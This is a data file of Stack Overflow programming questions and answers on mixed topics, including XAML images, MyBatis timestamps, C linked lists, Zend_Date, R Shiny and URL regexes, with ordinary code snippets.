20941128	0	How to feed a custom ImageSource to Image in XAML <p>One way to set an ImageSource for Image in XAML is like this:</p> <pre><code>&lt;Image Width="75" Height="75"&gt; &lt;Image.Source&gt; &lt;BitmapImage UriSource={Binding Uri} DecodePixelWidth="75" DecodePixelHeight="75" /&gt; &lt;Image.Source&gt; &lt;/Image&gt; </code></pre> <p>This code contains a nice optimization, since a potentially large bitmap will be decoded to 75x75 pixels.</p> <p>I'd like to be able to replace BitmapImage with my custom class like this:</p> <pre><code>&lt;Image Width="75" Height="75"&gt; &lt;Image.Source&gt; &lt;custom:PictureBitmap Picture={Binding Picture} Width="75" Height="75" /&gt; &lt;Image.Source&gt; &lt;/Image&gt; </code></pre> <p>My application implements the Picture class, which maps to a database table. Picture class has everything I need to create an instance of BitmapImage. So PictureBitmap is essentially an adapter for the BitmapImage.</p> <p>Here is how I started:</p> <pre><code>public class PictureBitmap : BitmapSource { // TODO: create Picture Dependency Property // TODO: create a BitmapImage from Picture // TODO: implement abstract methods by delegating calls to BitmapImage } </code></pre> <p>Although BitmapSource is abstract, the <a href="http://msdn.microsoft.com/en-us/library/windowsphone/develop/system.windows.media.imaging.bitmapsource%28v=vs.105%29.aspx" rel="nofollow">API reference</a> doesn't explain how to implement it.</p> <p>Does anyone know how to feed a custom object to Image.Source?</p> <p>My app supports Windows Phone Mango (7.5) and up.</p> <p>Thanks!</p>
21388832	0	Oracle TIMESTAMP and Mybatis issue <p>I'm using mybatis in my web application.</p> <p>I'm executing the below select query:</p> <pre><code>&lt;select id="retrieveSearchResultReferrals" resultType="hashmap" parameterType="map"&gt; select * from table(xxxx.test_abc_pk.retrieveDA(#{searchString})) &lt;/select&gt; </code></pre> <p>Of the columns in result some are DATE data type and one column is TIMESTAMP data type.</p> <p>Mybatis is converting DATE column correctly to java.sql.Date BUT for the TIMESTAMP column it is converting it to oracle.sql.TIMESTAMP instead of java.sql.Timestamp.</p> <p>Any ideas on how can I make mybatis to convert TIMESTAMP to java.sql.Timestamp?</p>
32363968	0	Updates/Deletes in levelDB <p>The sorted SSTable data structure that levelDB uses is immutable. If so, how are records updated/deleted in levelDB ? Is this process done periodically ? </p>
15377246	0	 <p>Renderer is an OpenGL method. OpenGL ES doesn't inherently support text. This leaves the following options:</p> <ol> <li>Use a texture, draw to it using Android's Canvas class.</li> <li>Use a library. This will most likely also draw to a texture as well.</li> <li>Create the text with polygons.</li> </ol> <p>Since your question is asking for a solution that doesn't draw to a texture, then 1 and 2 are both out. And since you want something simple, 3 is also out. Leaving no good solutions.</p> <p>An alternative to consider is to layer another view on top of the GLSurfaceView you are using. You can use a RelativeLayout to easily stack two views, one being a textview that you can anchor to the top right corner of the screen. Pseudocode below:</p> <pre><code>&lt;RelativeLayout ... /&gt; &lt;GLSurfaceView ... /&gt; &lt;TextView ... /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>This approach has the benefit of pulling you out of the OpenGL requirements to do your text. I've done this successfully on a couple of my apps.</p>
2349647	0	 <p>Try this:</p> <pre><code> for (int x=0;x&lt;4;x++) flag[x]=guess[x]==answer[x]?1:0; for (int slot = 0;slot &lt; 4;slot++) { if (guess[slot] == answer[slot]) black++; else for (int s=0;s &lt; 4;s++) if (!flag[s] &amp;&amp; guess[slot] == answer[s]) { white++; flag[s]=1; break; } } </code></pre>
39399353	0	 <p>Call the function and save the result in a variable:</p> <pre><code>$result = GetProductsByCategory($categoryID); </code></pre> <p>then inside the function:</p> <pre><code>$productsResult = $conn-&gt;query($sql); return $productsResult; </code></pre> <p>then your while loop should use this returned result (i.e., <code>$result</code>):</p> <pre><code>while ($row = $result-&gt;fetch_assoc()) { ... } </code></pre>
6078693	0	 <p>After much work, thanks to cainmi's suggestion I have come up with a solution. My .htaccess for the protected directory looks like this</p> <pre><code>RewriteEngine On RewriteBase /php-wrapper/auth RewriteRule ^(.*) /php-wrapper/wrapper.php?topage=https://%{SERVER_NAME}/php-wrapper/auth/$1 </code></pre> <p>This passes the requests back to my php script which checks for Auth and if it passes does the following</p> <pre><code>$type = (get_object_vars(apache_lookup_uri("$abs_path"))); header('Content-type: '.$type['content_type']); readfile($abs_path); </code></pre> <p>Responding with the file and the proper MIME type</p> <p>Because some of the content I was serving had XML I had to disable short open tags. I achieved this by adding this line to the .htaccess of the directory that held the wrapper.</p> <pre><code>php_value short_open_tag 0 </code></pre> <p>Stackoverflow was integral to finding this solution and for that I thank you all.</p>
9041553	0	 <p>Similar to Charlie Martin, you can do something like this:</p> <pre><code>static unigned __int64 _foo_id = 0; foo::foo() { ++_foo_id; if (_foo_id == MAGIC_BAD_ALLOC_ID) DebugBreak(); std::werr &lt;&lt; L"foo::foo @ " &lt;&lt; _foo_id &lt;&lt; std::endl; } foo::~foo() { --_foo_id; std::werr &lt;&lt; L"foo::~foo @ " &lt;&lt; _foo_id &lt;&lt; std::endl; } </code></pre> <p>If you can recreate it, even once or twice with the same allocation id, this will let you look at what is happening right then and there (obviously TLS/threading has to be handled as well, if needed, but I left it out for clarity).</p>
6792025	0	How to get and store Username and password when app is launched for the first time? <p>I have a tabbar app and I want to add login window that will show just for the first time the app is launched. and want username and password to be hard coded in the app. can anyone help me with this please.</p>
35717158	0	 <p>I would recommend this </p> <pre><code>#element { display: table; /* IE8+ and all other modern browsers */ } </code></pre>
19394325	0	 <p>Observations,</p> <p>Count_List() should count each element on list, your version only counts starting at the second item on the list. And it should always return an int,</p> <pre><code>int Count_List(Library *Head) { int count = 0; Library *Tmp = Head; if(!Tmp) return(count); while(Tmp != NULL) { count++; Tmp = Tmp-&gt;next; } return(count); } </code></pre> <p>Inside Read_File() you call Create_List(Entry,Head), but your function signature for Create_List(Head,Entry); which do you intend? Probably (Head,Entry). Use fgets and sscanf to Read_File,</p> <pre><code>Library * Read_File(FILE *fp) { Library *Head, *Entry; Head = Entry = NULL; char genre[100], band[100], album[100]; float rating; char line[100]; while(fgets(line,sizeof(line),fp) { sscanf(line,"%s %s %s %f", genre, band, album, &amp;rating); Entry = Create_Album(genre, band, album, rating); Head = Create_List(Head,Entry); } return Head; } </code></pre> <p>Looking at Create_List(), you seem to be implementing the List as a stack (push Entry onto head of list),</p> <pre><code>Library * Create_List(Library *Head, Library *Entry) { if(!Head) return Entry; Entry-&gt;next = Head; return Entry; } </code></pre> <p>Create_Album() needs to check for successful malloc before assigning values to member variables,</p> <pre><code> Library *Entry=NULL; if( !(Entry=(Library*)malloc(sizeof(Library))) ) { printf("error creating album\n");fflush(stdout); return Entry; } </code></pre> <p>Speaking of Library struct, you declare the members genre, band, album as pointers, but you need space to copy memory, example,</p> <pre><code>typedef struct library { char genre[50]; char band[50]; char album[50]; float rating; struct library *next; }Library; </code></pre> <p>My suggestion would be to build constructor and destructor functions LibraryNew, LibraryDel.</p> <p>Check for (argc&lt;2) arguments (your message says not enough, instead of need 2,</p> <pre><code> if(argc &lt; 2) { printf("Not enough arguments.\n"); return 0; } </code></pre> <p>And that fixes the biggest problems,</p> <pre><code>./library music.x 2 line:Rock Antrax Party 1.2 Rock,Antrax,Party,1.200000 Rock,Antrax,Party,1.200000 added: Rock,Antrax,Party,1.200000 Rock Antrax Party 1.20 Rock Antrax Party 1.20 Which genre would you like to delete? </code></pre>
7926799	0	Calculating difference between 2 Zend_Date objects <p>I have 2 Zend_Date objects:</p> <pre><code>$d1 = new Zend_Date('2011-11-14 12:20:30'); $d2 = new Zend_Date('2012-11-16 13:40:10'); </code></pre> <p>And I need to calculate difference. My output should be like this:</p> <pre><code>Years: 1, Months: 0, Days: 2, Hours: 1, Minutes: 19, Seconds: 40 </code></pre> <p>I can do it with <code>DateTime</code> class and <code>diff</code> method. But my hoster has PHP version &lt; 5.3. Can you help me how can I do it in Zend? Thanks.</p>
27559124	0	Double command execution with instanceof and HashMap <p>I'm really flummoxed by this one. After having some problems managing separate HashMaps for each child class, I decided to try using instanceof to make things simpler with a HashMap of the Parent class that will include any number of each of the child classes. I came up with this test code:</p> <pre><code>static HashMap &lt;Integer, ant&gt; antMap = new HashMap(); public static void main(String[] args) { // ant is parent to antF, antSo, and antB ant testSc = new ant(); antF testF = new antF(); antSo testS = new antSo(); antB testB = new antB(); antMap.put(testSc.ID, testSc); antMap.put(testF.ID, testF); antMap.put(testS.ID, testS); antMap.put(testB.ID, testB); ant grand = new ant(); int loop = 0; for (int s = 1; s &lt; 5; s++){ grand = antMap.get(s); loop++; if(grand instanceof ant){ System.out.println("type " + grand.type + grand.ID + "Loop " + loop); } if(grand instanceof antF){ antF work = (antF) grand; System.out.println("type " + work.type + work.ID + "Loop " + loop); } if(grand instanceof antSo){ System.out.println("type " + grand.type + grand.ID + "Loop " + loop); } if(grand instanceof antB){ System.out.println("type " + grand.type + grand.ID + "Loop " + loop); } } </code></pre> <p>I put the loop counter in there to see if the for loop was doubling up somehow but the output is: </p> <pre><code>type Scout1Loop 1 type Forager2Loop 2 type Forager2Loop 2 type Soldier3Loop 3 type Soldier3Loop 3 type Bala4Loop 4 type Bala4Loop 4 </code></pre> <p>I see the parent class (labeled scout here) executes once correctly. The constructor class in ant assigns an ID based on the number of ants, so the Forager should be Forager2, Soldier should be Soldier3, etc.</p> <p>I cannot for the life of me figure out why the child classes are executing twice. The loop counter shows this. </p> <p>Does anyone have any suggestions?</p> <p>Edit: you can see I tried a couple different things within the for loop to get the expected results.)</p> <p>(I did try to tag this as homework, although this is not a specific solution.)</p>
34477879	0	 <p>The following worked to fix the issue:</p> <pre><code>url = urllib.unquote(str(res.url)).decode('utf-8', 'ignore') </code></pre> <p><code>res.url</code> was a unicode string, but didn't seem to work well with <code>urllib.unquote</code>. So the solution was to first convert it to a string (like how it was in the python interpreter) and then <code>decode</code> it into Unicode.</p>
17398407	0	 <p>Thanks to art-divin, and to Jean-Baptiste for providing the answer via email. Below is the code that repositions a button matrix on rotation. The code for creating the button matrix remains the same.</p> <pre><code>- (void)willAnimateRotationToInterfaceOrientation:(UIInterfaceOrientation)orientation duration:(NSTimeInterval)duration { if (orientation == UIInterfaceOrientationPortrait) { COLUMNS = 7; ROWSS = 8; int i=0; // button count iterator for (int rows = 0; rows &lt; ROWSS; rows++) { for (int columns = 0; columns &lt; COLUMNS; columns++) { NSUInteger chapter = columns + rows * COLUMNS + 1; if (chapter &gt; 50) break; UIButton *b = (UIButton *)[call.createButtonArray objectAtIndex:i++]; b.frame = CGRectMake(columns * WIDTH, rows * 38, HEIGHT, 37); // columns * X, rows * Y, width, height } } [rotateController rotateChapterButtons_Portrait]; } else if (orientation == UIInterfaceOrientationLandscapeRight ||orientation == UIInterfaceOrientationLandscapeLeft) { COLUMNS = 10; ROWSS = 9; int i=0; // button count iterator for (int rows = 0; rows &lt; ROWSS; rows++) { for (int columns = 0; columns &lt; COLUMNS; columns++) { NSUInteger chapter = columns + rows * COLUMNS + 1; if (chapter &gt; 50) // &gt; greater than break; NSLog(@"%i:",chapter); UIButton *b = (UIButton *)[call.createButtonArray objectAtIndex:i++]; b.frame = CGRectMake(columns * 48, rows * 38, 47, 37); // columns * X, rows * Y, width, height } } [rotateController rotateChapterButtons_Landscape]; } </code></pre> <p>}</p>
24412694	0	JWplayer raising Could not load plugins: File not found Error <p>I saw many answers for <strong>Could not load plugins:File not found</strong>. but it's bit different.</p> <p>I am using jwplayer for my rails app and i am playing videos in bootstrap modal.</p> <p>After page load if i click video to play in bootstrap it is raising above error after closing that modal and again i clicked the same video it is playing video now(My page not refreshed). </p> <p>I tried again after refreshing my page but for first time again same problem. </p> <p>Tried with two browsers same issue.</p> <pre><code>$('.playuservideo').click(function() { var videopath=$(this).data('videopath'); jwplayer('myElement').setup({'flashplayer': "/assets/flash.swf", 'id': 'playerID', 'width': '540','height': '360', 'file': videopath }); $('#playallmodal').modal('show'); }); </code></pre>
6569236	0	On line Table editor for MS SQL Server / Access? <p>I'm searching for a on line database table editor for SQL or Access that allows editing of records. Does it exist a .net application? Can someone help me?</p>
23339553	0	 <pre><code>//try this way, hope this will help you... String value = "5571.329849243164"; Toast.makeText(MyActivity.this,""+Math.round(Double.parseDouble(value)),Toast.LENGTH_SHORT).show(); </code></pre>
5686666	0	 <p>Yes you can, see here:</p> <p><a href="https://github.com/blog/128-let-there-be-renaming">Rename github repo</a></p> <p>If I understand you correctly you want to rename your git repository eg xyz.git to xyz1.git and then have all the git repositories that link to that repo link to the new name automatically?</p> <p>As far as I know this isn't possible. Each repository is self contained and keeps a list of locations it links to. If one of those locations changes its name the link would be broken. Each repository that references the changed name would need to update its link.</p> <p>But then, the same would happen if you deleted a repository and recreated it under a new name....</p> <p>Just realised you were specifically talking about GitHub and not git in general, sorry - should learn to read the entire question like my school teachers said. The answer still stands, with the addition that you can change the name in GitHub from the Admin page.</p>
18876602	0	 <p>I am still at education so do know how good is my solution , but i did not crash so hope it is correct</p> <p>and it is quite similar to @muthu 's code</p> <p>I had used JPA-eclipselink and Struts2</p> <p>Action Class</p> <pre><code>String checkLogin = "SELECT user FROM UserEntity user WHERE user.username = :username AND user.password = :password"; Query checkLoginQuery = em.createQuery(checkLogin); checkLoginQuery.setParameter("username", loginUsername); checkLoginQuery.setParameter("password", loginPassword); userEntity = (UserEntity) checkLoginQuery.getSingleResult(); Map sessionMap = ActionContext.getContext().getSession(); sessionMap.put("userEntity", userEntity); </code></pre> <hr> <p>JSP -> all jsp pages have this(bug:affected if session is not killed when browser is not closed )</p> <pre><code>&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt; &lt;s:if test="%{#session.userEntity == null}"&gt; &lt;jsp:forward page="login.jsp"/&gt; &lt;/s:if&gt; </code></pre> <hr> <hr> <p>Correct me if I am wrong</p> <p><a href="http://www.theserverside.com/discussions/thread.tss?thread_id=22795" rel="nofollow">Quoting this page</a></p> <blockquote> <p>Both and RequestDispatcher.forward() are what I refer to as "server-side" redirects</p> <p>The response.sendRedirect() is what I call a "client-side" redirect.</p> </blockquote> <p>so a server side forward looks more safe to me , maybe I am wrong (I am sorry if I am miss interpreting it ,not worked in real life projects yet)</p>
30828666	0	getting back additional info when webscraping with cheerio js <p>I am working with cheerio.js to make a simple web scraper. For some reason it does not respond to certain html tags. One div I cannot target is <b>the div with the class of 'dataTables_scrollBody'</b> on the website that I am scraping: <a href="http://www.caffeineinformer.com/the-caffeine-database" rel="nofollow">http://www.caffeineinformer.com/the-caffeine-database</a>.</p> <p>However, I think I found a work-around to my problem.</p> <p>I read through the documentation <a href="https://github.com/cheeriojs/cheerio" rel="nofollow">https://github.com/cheeriojs/cheerio</a> and am following this format <b>$( selector, [context], [root] </b>. </p> <pre><code>$(".main, div:nth-child(3) ").filter(function(){ var data = $(this).prev().text(); console.log(data); }) </code></pre> <p>In my console I am getting the data that I desire but with two problems</p> <pre><code>1. Caffeine Content of Drinks All Coffee Soda Energy Drinks Tea Shots Loading data.../*&lt;![CDATA[*/var totalrows=1127; var latestdate='06/12/2015';var tbldata= </code></pre> <p>I do not see this info on the page.</p> <pre><code>2. I am getting my data back two times. </code></pre> <p>I put in a console.log for the data length. I got back 8 different lengths. I believe there is a workaround. However, I cannot figure this out. </p> <p>Does anyone have any knowledge on the matter?</p>
39391922	0	Generate a .sparql file in order to backup rdf graphs <p>Is there a way to use SPARQL to dump all RDF graphs from a triplestore (Virtuoso) to a <code>.sparql</code> file containing all <code>INSERT</code> queries to rebuild the graphs?</p> <p>Like the <code>mysqldump</code> command?</p>
11732940	0	 <p>Create a button in your XML layout and the add the attribute <code>android:onClick="takeAPicture"</code> then in your main activity create a method with the same name from the <code>onClick</code> attribute. </p> <pre><code>public void takeAPicture(View view){ Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); intent.putExtra(MediaStore.EXTRA_OUTPUT, imageUri); intent.putExtra(MediaStore.EXTRA_VIDEO_QUALITY, 1); startActivityForResult(intent, IMAGE_CAPTURE); } </code></pre> <p>And just do another method for when you want to get the image from the gallery:</p> <pre><code>public void getImageFromGallery(View view) { Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); intent.setType("image/*"); intent.setAction(Intent.ACTION_GET_CONTENT); startActivityForResult(Intent.createChooser(intent, "Select Picture"), SELECT_PICTURE); } </code></pre>
35086266	0	 <p>You will need a new method which all it does it simply check if the radio button is there or not.</p> <pre><code>public static boolean isPrivateRadioButtonExist() { return driver.findElements(By.id("type-radio-private")).size() != 0; } </code></pre> <p>Then, in your base test class, call this method to determine if you need to skip the step or not.</p> <p><strong>However</strong>, the way you are approaching your problem is incorrect. If you have multiple versions of web app, then you should also have multiple versions of your automated tests. One way is to follow your web app's branching strategy. This will avoid yourself having to use all sorts of 'if' statements in your code.</p>
17549505	0	Struggling with regular expression <p>I'm struggling to find the regular expression I can use to classify data that matches a certain pattern:</p> <p>Here's a few examples:</p> <pre><code>pli:06e9b616-5712-d0e9-1bc2-000012e61393 pli:6fdd187d-cbdc-3028-4a8d-000020f3449a pli:0472def9-ccf3-e4e9-ca05-00005fecf9f8 </code></pre> <p>As you can see each string begins with pli: and they all have the same pattern even though the characters are different. Each set of characters is separated by a '-' at the same position.</p>
31235362	0	 <p>You could create a class to map your patients to;</p> <pre><code>private static class Patient { @JsonProperty("name") private String name; @JsonProperty("age") private int age; public Patient() { } public String getName() { return name; } public int getAge() { return age; } } </code></pre> <p>Then read your json into it via jackson</p> <pre><code>HashMap&lt;String, Patient&gt; patients = objectMapper.readValue(new File("patients.json"), new TypeReference&lt;HashMap&lt;String,Patient&gt;&gt;() {}); Patient patientA = patients.get("A"); String patientAName = patientA.getName(); int pateintAAge = patientA.getAge(); </code></pre>
12559954	0	 <p>With Java 7, it's as simple as:</p> <pre><code>final String EoL = System.getProperty("line.separator"); List&lt;String&gt; lines = Files.readAllLines(Paths.get(fileName), Charset.defaultCharset()); StringBuilder sb = new StringBuilder(); for (String line : lines) { sb.append(line).append(EoL); } final String content = sb.toString(); </code></pre> <p>However, it does havea few minor caveats (like handling files that does not fit into the memory).</p> <p>I would suggest taking a look on <a href="http://docs.oracle.com/javase/tutorial/essential/io/charstreams.html">corresponding section</a> in the official Java tutorial (that's also the case if you have a prior Java).</p> <p>As others pointed out, you might find sime 3rd party libraries useful (like Apache commons I/O or Guava).</p>
14555399	0	How do I handle the timezones for every Chat message <p>I am creating a web chat application using ASP.NET. I have got the chat system to work as messages are sent and relayed back to the clients. But there was something I noticed but never thought it would be a problem. I am from England and the chat application is sitting on servers in America and noticed when the message displayed the time, the times were situated in American time zones. How would I go about setting the timezones that will correspond to the user's timezone.</p>
35956306	0	 <p>Add a parentheses after the stored procedure name, with an equal amount of question marks to match the amount of parameters you wish you fill in.</p> <p>Eg.</p> <pre><code>{call MyProc(?,?,?)} </code></pre>
32251714	0	Cannot derive user name for bundle org.demo.anthony.mybundle.core [446] and sub service null <p>I have a bundle that was working completely fine in AEM 6. I just upgraded to AEM 6.1 and when I deploy the bundle, I'm getting the error below:</p> <blockquote> <p>javax.jcr.LoginException: Cannot derive user name for bundle org.demo.anthony.mybundle.core [446] and sub service null at org.apache.sling.jcr.base.AbstractSlingRepository2.loginService(AbstractSlingRepository2.java:336) at org.demo.anthony.mybundle.core.impl.EvernoteSyncServiceImpl.getSession(EvernoteSyncServiceImpl.java:108) at org.demo.anthony.mybundle.core.impl.EvernoteSyncServiceImpl.syncNotes(EvernoteSyncServiceImpl.java:201) at org.demo.anthony.mybundle.core.impl.EvernoteSyncServiceImpl.syncWebClipperNotes(EvernoteSyncServiceImpl.java:174) at org.demo.nennig.evernote.core.impl.schedulers.EvernoteSyncTask.run(EvernoteSyncTask.java:96) at org.apache.sling.commons.scheduler.impl.QuartzJobExecutor.execute(QuartzJobExecutor.java:105) at org.quartz.core.JobRunShell.run(JobRunShell.java:202) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) at java.lang.Thread.run(Thread.java:722)</p> </blockquote> <p>This is how I'm getting hold of the session (this is line 108 in the code as referenced in the stacktrace):</p> <pre><code>session = repository.loginService(null, null); </code></pre>
3649673	0	What indices should be created to optimize sql query with multiple OR conditions <p>I have a query like this:</p> <pre><code>SELECT * FROM T WHERE A = @A AND (B=@B OR C=@C OR D=@D OR @E=E) ORDER BY F </code></pre> <p>What indices should I add to improve query performance? Also I'll need to implement paging so this query will be more complex.</p> <p>My guess is that four indices should be created: (A, B, F), (A, C, F), (A, D, F) (A, E, F), but I'm not sure and can't really test it as I don't have enough data yet. </p> <p>Does anyone have some experience to share? Thanks.</p>
35901074	0	 <p>Here is a working version with some changes from your original code. As pointed out in the other answer, there are a few errors in your code. In addition, I changed textOutput to htmlOutput. In server.R, I put all code inside the <code>observeEvent</code> environment.</p> <p>In general, your method in your R script needs to <strong>return</strong> something suitable for process in <code>server.R</code>. For example, in this case, it returns a string, which <code>server.R</code> renders as text, and <code>ui.R</code> in turn renders as HTML. </p> <p>Any variable/data that is accessible in <code>server.R</code> (including any files that it <code>source</code>) can be displayed in the ui. What you need is (1) a suitable render method to render this data in <code>server.R</code> (2) a suitable output container to hold the output display in <code>ui.R</code></p> <p>ui.R</p> <pre><code>library(shiny) shinyUI(fluidPage( headerPanel("Inputting from Interface to Script"), sidebarPanel( #'a' input numericInput(inputId = "a", label = h4("Enter a:"), value = 3), numericInput(inputId = "b", label = h4("Enter b:"), value = 4), actionButton(inputId = "input_action", label = "Show Inputs")), mainPanel( h2("Input Elements"), htmlOutput("td")), # use dataTableOuput to display the result of renderDataTable. Just like the render methods, there are many output methods available for different kind of outputs. See Shiny documentation. dataTableOutput("table") )) </code></pre> <p>server.R</p> <pre><code>library(shiny) source("mathops.R") shinyServer(function(input, output) { observeEvent(input$input_action, { a = input$a b = input$b output$td &lt;- renderText({ mathops(a,b) }) }) # Use renderDataTable to convert mat2 to a displayable object. There are many other render methods for different kind of data and output, you can find them in Shiny documentation output$table &lt;- renderDataTable(data.frame(mat2)) }) </code></pre> <p>mathops.R</p> <pre><code>mathops &lt;- function(a,b) { return(paste0("Addition of two number is: ", a+b, br(), "Multiplication of two number is: ", a*b)) } mat1 &lt;- matrix(sample(1:16), ncol=4) mat2 &lt;- matrix(sample(1:25), ncol=5) </code></pre>
10162774	0	 <p>Yeah, that's right. If you define a function inside a function, it will be private to that function. You need to create a global var</p> <pre><code>var recordjourney; $(document).ready(function(){ ... recordjourney = { var journey = ... etc </code></pre> <p>Although, of course, given that you are using JQuery I'd do</p> <pre><code>$(document).ready(function(){ ... $( 'button[name=record]' ).bind( function(){ //put your function here }) </code></pre> <p>and remove the ugly onclick="recordjourney from the button tags.</p>
40688288	0	 <p>So after two days of research I cant find a proper solution to this issue i managed to bypass it by setting the cell frame in <em>layoutAttributesForElementsInRect</em> like this:</p> <pre><code> UICollectionViewCell* cell = [self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForItem:[attributesForElementsInRect indexOfObject:attributes] inSection:0]]; if (!CGRectEqualToRect(cell.frame, refAttributes.frame)) cell.frame = refAttributes.frame; </code></pre> <p>this is the complete function</p> <pre><code>- (NSArray *)layoutAttributesForElementsInRect:(CGRect)rect { NSArray* attributesForElementsInRect = [super layoutAttributesForElementsInRect:rect]; NSMutableArray* newAttributesForElementsInRect = [[NSMutableArray alloc] init]; // use a value to keep track of left margin CGFloat leftMargin = 0.0; for (id attributes in attributesForElementsInRect) { UICollectionViewLayoutAttributes* refAttributes = attributes; // assign value if next row if (refAttributes.frame.origin.x == self.sectionInset.left) { leftMargin = self.sectionInset.left; } else { // set x position of attributes to current margin CGRect newLeftAlignedFrame = refAttributes.frame; newLeftAlignedFrame.origin.x = leftMargin; refAttributes.frame = newLeftAlignedFrame; } // calculate new value for current margin leftMargin += refAttributes.frame.size.width + 8; [newAttributesForElementsInRect addObject:refAttributes]; UICollectionViewCell* cell = [self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForItem:[attributesForElementsInRect indexOfObject:attributes] inSection:0]]; if (!CGRectEqualToRect(cell.frame, refAttributes.frame)) cell.frame = refAttributes.frame; } } </code></pre> <p>Hope this will help somebody or someone have a better solution </p>
24465190	0	NSDictionary loading a NSURL with URLByResolvingBookmarkData <p>I'm trying right now the Bookmark Data solution and I retraive a NSURL but it doen't work.The NSURL is correctly formatted but when i use it to create a dictionary or a string these are nil. The code I'm using is this:</p> <pre><code>- (NSData *)bookmarkFromURL:(NSURL *)url { NSError *error = nil; NSData *bookmark = [url bookmarkDataWithOptions:NSURLBookmarkCreationWithSecurityScope includingResourceValuesForKeys:NULL relativeToURL:NULL error:&amp;error]; if (error) { NSLog(@"Error creating bookmark for URL (%@): %@", url, error); [NSApp presentError:error]; } return bookmark; } - (NSURL *)urlFromBookmark:(NSData *)bookmark { NSURL *url = [NSURL URLByResolvingBookmarkData:bookmark options:NSURLBookmarkResolutionWithSecurityScope relativeToURL:NULL bookmarkDataIsStale:NO error:NULL]; return url; } </code></pre>
17464184	0	adding the text box values using javascript <p>I have a Grid view which contains various text boxes. I need to add all the text box values and display the result in a separate Text Box. I need to use java script for this. Please help me out.</p>
29104583	0	 <p>I prefer to avoid select, activate and selection in deference to direct addressing. The paste special, values can also be handled more efficiently by direct cell value transfer.</p> <pre><code>'make sure that the worksheet vars are set correctly set wsOrigen2 = &lt;other workbook&gt;.Sheets("Sheet1") set wsDestino = ThisWorkbook.Sheets("Sheet1") With wsOrigen2.Cells(1, 1).CurrentRegion wsDestino.Cells(Rows.Count, 1).End(xlUp) _ .Offset(1, 0).Resize(.Rows.Count, .Columns.Count) = .Cells.Value End With set wsDestino = nothing set wsOrigen2 = nothing </code></pre> <p>If the workbooks are open and the worksheets are set correctly, that should be all that you really require.</p> <p>See <a href="http://stackoverflow.com/questions/10714251/how-to-avoid-using-select-in-excel-vba-macros">How to avoid using Select in Excel VBA macros</a> for more methods on getting away from replying on select and activate.</p>
38353975	0	 <p>Would you be okay using something like this? It also helps to have more views on Youtube.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code> #laptop-panel { position: relative; padding-top: 25px; padding-bottom: 67.5%; height: 0; } #laptop-panel iframe { box-sizing: border-box; background: url(http://176.32.230.43/testdigitalmarketingmentor.co.uk/wp-content/uploads/2016/07/laptop-1000x728-trans.png) center center no-repeat; background-size: contain; padding: 11.7% 17.9% 15.4%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;div id="laptop-panel"&gt; &lt;iframe src="https://www.youtube.com/embed/BhEWkcyXYwg?rel=0&amp;amp;controls=0&amp;amp;showinfo=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>Happy coding!</p>
36351677	0	 <p>Ok I don't know for your error but you're handling exception the wrong way. Here is how you should do it (not to mention the SQL injection here) :</p> <pre><code>Try ' Your code here Catch e as Exception MsgBox.show(e.Message, "An Error occured") End Try </code></pre> <p>NB : I post this here because it's too lon g for a comment...</p>
38059533	0	Why doesn't DbgPrintEx support floating-point numbers? <p>According to <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff543634(v=vs.85).aspx" rel="nofollow">the documentation</a></p> <blockquote> <p>The <code>DbgPrintEx</code> routine does not support any of the floating point types <em>(%f, %e, %E, %g, %G, %a, or %A)</em></p> </blockquote> <p>That seems very strange, since they support most of the other C-style formatting parameters, and since <code>vsprintf</code> <em>(which is also available to kernel-mode drivers)</em> does support floating-point.</p> <p>Is there a technical reason for not supporting floating-point numbers?</p>
5754195	0	How to integrate twitter app in my iphone? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/4012349/how-to-connect-to-twitter-from-iphone">How to connect to Twitter from iPhone?</a> </p> </blockquote> <p>hi, can anybody please explain how to integrate the twitter app in my iphone app with simple example?</p>
39353984	0	 <p>I'll focus my answer on this part of your question:</p> <blockquote> <p>How can I make sure that my DateTime -> NodaTime outputs are consistent, regardless of current location?</p> </blockquote> <p>Several places in your code, you call <code>.ToUniversalTime()</code> on a <code>DateTime</code> object. When you do that, the operation depends on the <code>DateTimeKind</code> value assigned to the <code>Kind</code> property of the object. Per <a href="https://msdn.microsoft.com/library/system.datetime.touniversaltime.aspx" rel="nofollow noreferrer">the MSDN docs</a>:</p> <p><a href="https://i.stack.imgur.com/rjgM9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rjgM9.png" alt="MSDN Table"></a></p> <p>Therefore, as long as the <code>Kind</code> is not <code>DateTimeKind.Utc</code>, then the input value is interpreted as being in the local time zone, and thus the conversion to UTC is affected by whatever that local time zone is on the computer where it is running, leading to inconsistent output.</p> <p>If you don't want your code to give different results when the local time zone differs between two computers, then you should not use this method. This is why option #2 and option #3 in your code give different results.</p> <p>As for option #1, it's not clear what you actually are trying to do. You are asserting that the input <code>dt</code> is in the <code>Africa/Johannesburg</code> time zone, but you never ask for any type of conversion. You are just emitting the same local value you passed in. If you meant to convert from UTC to South Africa, or vice-versa, then you need to explain that more clearly in the question. As it is, I cannot tell what you were actually wanting it to do.</p>
23310002	0	Match everything before last section of url <p>I want to match everything in a URL up to the last section.</p> <p>So I want to match: <code>http://www.test.com/one/two/</code> in all of the following cases:</p> <pre><code>http://www.test.com/one/two/three http://www.test.com/one/two/three/ http://www.test.com/one/two/three/?foo=bar </code></pre> <p>I'm working in PHP and currently I have <code>/.+\/(?=[^\/]+\/?$)/</code> this matches everything except the last case but I can't seem to 'not match a forward slash unless it's followed by a question mark' which would seeming sort the problem?</p>
